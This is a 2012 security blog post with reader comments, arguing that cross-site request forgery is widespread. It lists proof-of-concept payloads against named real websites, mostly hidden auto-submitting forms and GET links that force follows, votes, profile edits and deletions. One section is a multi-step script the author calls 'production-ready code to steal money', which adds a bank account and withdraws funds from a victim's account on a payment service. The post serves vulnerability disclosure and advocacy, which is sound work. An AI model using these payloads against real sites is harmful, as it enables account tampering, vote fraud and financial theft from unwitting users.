Monday, April 2, 2012

CSRF examples


Remark: Post is published on April 2(but was expected yesterday) coz Berlin haz no free wifi cause I'm not joking and I figured out that Sunday is the worst day for urgent updates. Well, who cares the date, enjoy:

TL;DR:

I'm trying hard to prove my point that statement "CSRF is only the developers' problem" is not true. I provided some examples and I want you to check them out. I really appreciate any viewpoint at this problem. Thank you for your attention in advance!

Quick overview:

badoo.com


showcase
document.write('<form action="http://badoo.com/ws/anketa-ws.phtml?ws=1" method=post> <input name="name" value="SUUUUP"><input name="fname" value="SUUUUP"><input name="sname" value="SUUUUP"><input name="birth_day" value="28"><input name="birth_month" value="01"><input name="section" value="basic"><input name="birth_year" value="1991"> </form>')


description
e.g. changing your profile details. No protection at all.

github.com


showcase
<iframe name=ifr></iframe>
<script>
document.write('<form target=ifr name=pwn method=post action="https://github.com/users/follow?target=homakov"></form>')
pwn.submit()
</script>

description
makes you follow certain account without your confirmation. reported few weeks ago and fixed. 

slideshare.net





showcase
http://www.slideshare.net/main/delete/PRESENTATIONID?ajax=false&redirect=mypage
http://www.slideshare.net/contact/create?contactee=36807343&contacter=0&frm_source=slideview
description
deleting presentation via GET. commenting w/o confirmation. GET following etc

lockerz.com

showcase
document.write('<form name=h action="http://lockerz.com/profile/follow/19880685" method=post></form>'); h.submit()
description:
following w/o confirmation

yfrog.com



showcase
document.write('<form action="http://yfrog.com/message/post.json" name=h method=post><input name="services[]" value="twitter"><input name="message" value="@yfrog ur pwned"></form>'); document.h.submit();
description
following w/o confirmation
posting w/o confirmation
well, just anything. reported / fixed.


kinopoisk.ru

showcase: http://www.kinopoisk.ru/vote.php?film=FILM_ID&film_vote=VOTE_FROM_1_TO_10

description: GET request in an image, for example, will set highest rating for some trash-movie on behalf of your account.
I lol'd when found this vulnerability. Movies' ratings is the core feature of kinopoisk(It is like Russian IMDB), site has enormous number of visitors and now we realize that all ratings there worth nothing :(

formspring.com

showcase: document.write('<form action="http://www.formspring.me/follow/add/WHO_TO_FOLLOW" method=post><input name=public value=1><input name=ajax value=1></form>')
description: Quite standard hole - easy way to gain thousands of followers :D

odesk.com


showcase
mycb=function(){console.log(arguments);}
document.write('<script src="https://www.odesk.com/api/hr/v1/flagging.json?flagged_item=user&flagged_item_id=1&func=getFlagList&group_id=1&callback=mycb"></script>');
description
this vulnerability deserves separated post. In general: JSONP should be used very carefully. And, yeah, CSRF vulnerable. It's getting boring.

dailymotion.com

showcase: http://www.dailymotion.com/pageitem/user/subscribe?request=USERNAME&method=toggleSubscribe
description: subscribing via GET..

vimeo.com


showcase: https://player.vimeo.com/like/ID?callback=cb&status=1
https://player.vimeo.com/watch_later/ID?callback=cb&status=1
description: adding to watchlist, liking and other stuff..

about.me

showcase: document.write('<form method=post name=h action="http://about.me/ajax"><input name="profile_text_content" value="YOBA ETO TY"><input name=call value=save></form>')
description: Typical, CSRF vulnerable service. Should I continue? You can change any field in user's profile :(

bitbucket.org


showcase: GET to https://bitbucket.org/USERNAME/follow
description: Following. 
posterous.com
showcase: document.write('<form action="http://posterous.com/api/2/sites/1314005/subscribe" method=post><input name=_method value=put></form>')
http://homakov.posterous.com/likes/create?like_type=post&post_id=10132110
description
liking, subscribing.

hulu.com

showcase: document.write('<form action="http://www.hulu.com/videos/vote/344578" method=post><input name=up value=5><input name=_ value=""></form>')
http://www.hulu.com/shows/subscribe/344578?type=episodes,clips&first_run_only=0
description
voting w/o confirmation(like kinopoisk example), subscribing to new episodes..

moneybookers.com

showcase(production-ready code to steal money)
document.write('<iframe width="100%" height="100%" name="h" src="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks"></iframe>')

document.write('<form name=step1 target=h action="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=post><input name=action value=search><input name=country value=RUS><input name=swift value=PRTBRUMM><input type=submit></form>')

document.write('<form name=step2 target=h action="https://www.moneybookers.com/app/add_bank2.pl?from=manage_banks" method=post><input name=action value=add><input name=country value=RUS><input name=bank_id value=0><input name=account_no value=123234123234><input type=submit></form>')

get_bank_id=function(){
  //it's mock, dummy procedure. Getting latest primary key of just created bank account isn't difficult. But involves some server side interaction. I won't give out this code, sorry.
  return 123234345; //primary key of fresh created bank account in victim's profile
}

how_much = function(time){
  //we will repeat withdraw request with lower amount every time - so we could withdraw as much as possible
  return [5000, 3000, 1000, 500, 150, 100][time]
}

document.write('<form name=step3 target=h action="https://www.moneybookers.com/app/download.pl" method=post><input name=posted value=confirm><input name=destination value=BWI><input name=bankwire_account value='+get_bank_id()+'><input name=txtAmount value='+how_much(0)+'><input type=submit></form>')

//this form contains my birthday. it's not difficult to find out anybody's birthday either.

document.write('<form name=step4 target=h action="https://www.moneybookers.com/app/download.pl" method=post><input name=posted value=execute><input name=dob_day value=28><input name=dob_month value=04><input name=dob_year value=1993><input type=submit></form>')

setTimeout(function(){
  step1.submit()
},1000);
setTimeout(function(){
  step2.submit()
},2000);
setTimeout(function(){
  step3.submit();
},3000)
setTimeout(function(){
  step4.submit();
},4000)

description
It's the best showcase IMO. This one is "Production ready" and I have tried it to withdraw money on myself from my own account and it worked. Reported and fixed. This example illustrates the whole point of the post. It's quite boring to explain the same looking vulnerabilites - remember, if you can do force people to follow without confirmation you(most likely) can do the same with his money. Think about it.

Face it.

Well, these showcases are the tiny part of vulnerable POPULAR(I don't even mention middle and small websites. they're just doomed...) sites at the moment. 

I'm quite exhausted to explore it - approx. 50-70% of what I try have holes/bugs and I'm talking about Alexa Top sites(lol!). And it would be unbelievebly huge post if I include them all. bit more: 
pinterest.com, GET let's u wipe bio and website info
dnsimple.com, you can add services to user's domain via GET
disqus.com(let's me comment any post on behalf of your account; quite interesting hack here, subtle trick-hole with Webkit engine, stay tuned!), 
translate.ru(easy to steal cookies and account; it's bad idea to load 3rd parties JS in iframe with your document.domain. probably will publish more information on iframe's domain  sameOriginPolicy later, must-read topic), 
heroku.com(well, administration can be done via GET - smth like this: <img src=xxx/update?site_name[name]=yyy> will rename your xxx.herokuapp.com to yyy.herokuapp.com) 
booking.com(vulnerable. I had an idea to add Saransk city to your "Favorite places" but changed my mind. It would be funny though.)
etc I forgot few.

Also, most of showcases here are not critical for only one reason - jail is not cozy for living, in my opinion. In fact, and that's obvious, if you find certain type of vulnerability you can use it both ways e.g. set up 3012 as date of post OR add your public key to victim's repo, you know what I'm talking about. Check your codebase.

Guys from HN disappoint me with their conservatism. It's quite easy to repeat "It works fine, Google and Mozilla have best programmers, well known attack, popular sites are protected(ORLY?!), go home kid".

That was an expected behavior, so I hope, this post makes them to face facts. 2+2=4 and CSRF = the huge, wide-spreaded problem that should be solved now or never. 

Well, no matter who's vulnerability it is. I don't care anymore: Browsers, apps, programmers, standards. There is 1 fact - lots of sites in the Internet are vulnerable(in 2012, after 11 years). That's all I want to explain and discuss with you.

I made the point - you fix in up-to-you way. Fix. But, frankly, making small warning-bar in browsers seems more sane than teaching every single programmer from newbie to senior CSRF protection and polluting every HTTP POST request with token. 

16 comments:

  1. Every site I walk into has multiple critical vulnerabilities. Most of them introduced by "programmers" with Masters Degrees in CS. Funny.

    ReplyDelete
  2. Hey Egor,

    What's with your point with that Bitbucket URL?

    That's just how you (un)follow someone. If you don't like to follow people, then don't use it, but don't label it as a security bug, ok?

    ReplyDelete
  3. @Erik, I think you didn't get the point of the post.

    ReplyDelete
  4. well, i dont know if you're joking but we're talking about a CSRF vulnerability here, which means you can make people "follow or unfollow you, or anybody for that matter without their approval ex : img tag with follow url as src.
    so obviously thats not how its supposed to work.

    ReplyDelete
  5. @Anonymous: you didn't get the point, did you? He can get followers on bitbucket just by including an iframe on his site. So, suddenly, you're following him on bitbucket even though you didn't want to.

    ReplyDelete
  6. @homokov, you're doing great work. I hope you continue to put on the pressure to get developers to raise their standards.

    ReplyDelete
  7. Thank you for loudly demonstrating how broken things are. They'll never get fixed if nobody draws attention to them...

    ReplyDelete
  8. @Anonymous I did indeed initially miss the context from that ultra short paragraph.

    I've deployed a hotfix.

    ReplyDelete
  9. Hey Egor, would you take a look at a few sites using the Lift web framework (http://liftweb.net)? It should be more secure by default than Rails and PHP, but I'm curious if you can penetrate it. Some of the poster child Lift sites:

    https://foursquare.com/
    http://stackmob.com/
    http://www.grabgrip.com/
    http://openstudy.com/

    A primer on Lift security:

    http://seventhings.liftweb.net/security

    ReplyDelete
  10. @anon
    I would check the sites with a pleasure! But I'm kinda busy and work for money - This post is suffice for making point, I guess.

    So I'm completely not interested in CSRF and Mass assignment vulnerabilities anymore. Points were made, what to do is up to you

    ReplyDelete
  11. yes, and while we was reading this he just tried bunch of that stuff on our browser :) i hope i will not find u as a "followed person" in any sites im using.

    good luck standing your point

    ReplyDelete
  12. Anthony from DNSimple here. Thanks, Egor for pointing out the vulnerability you found in DNSimple. I've pushed a fix for it this morning. If you (or someone else reading this blog) finds other vulnerabilities please let me know via security@dnsimple.com.

    ReplyDelete
  13. Hi, Egor!
    Good job done! Hope you suceed in changing 'their' mind. I have my own theory why it is possible and it goes far away from technology area into business and education field. I name it 'featurism': evryone needs more features in software. Customers pay only for new features. Definition of done consist of implemented business logic only. Developers don't have time to bother with security issues as they are not paid for. To earn money for living, most developers should be good at producing features quickly: today 'time to market' speed seems to be the only measure of success. I can continue, but have to go now.

    If you are in Europe, I would like to invite you to Estonia to make a hands-on workshop for my students.

    ReplyDelete
  14. @Anthony Eden
    Wow, cool! I enjoy dnsimple and that's pretty minor bug. I don't even think that you're in charge (do u use rails though?) Cheers

    @Zahhar Kirillov
    Hi friend! Thank you and I share your opinion that developers dislike security because they are not paid for that. And I hope to see you soon :) Relocation is soon

    ReplyDelete
  15. Really interesting ! Thanks for examples :)

    ReplyDelete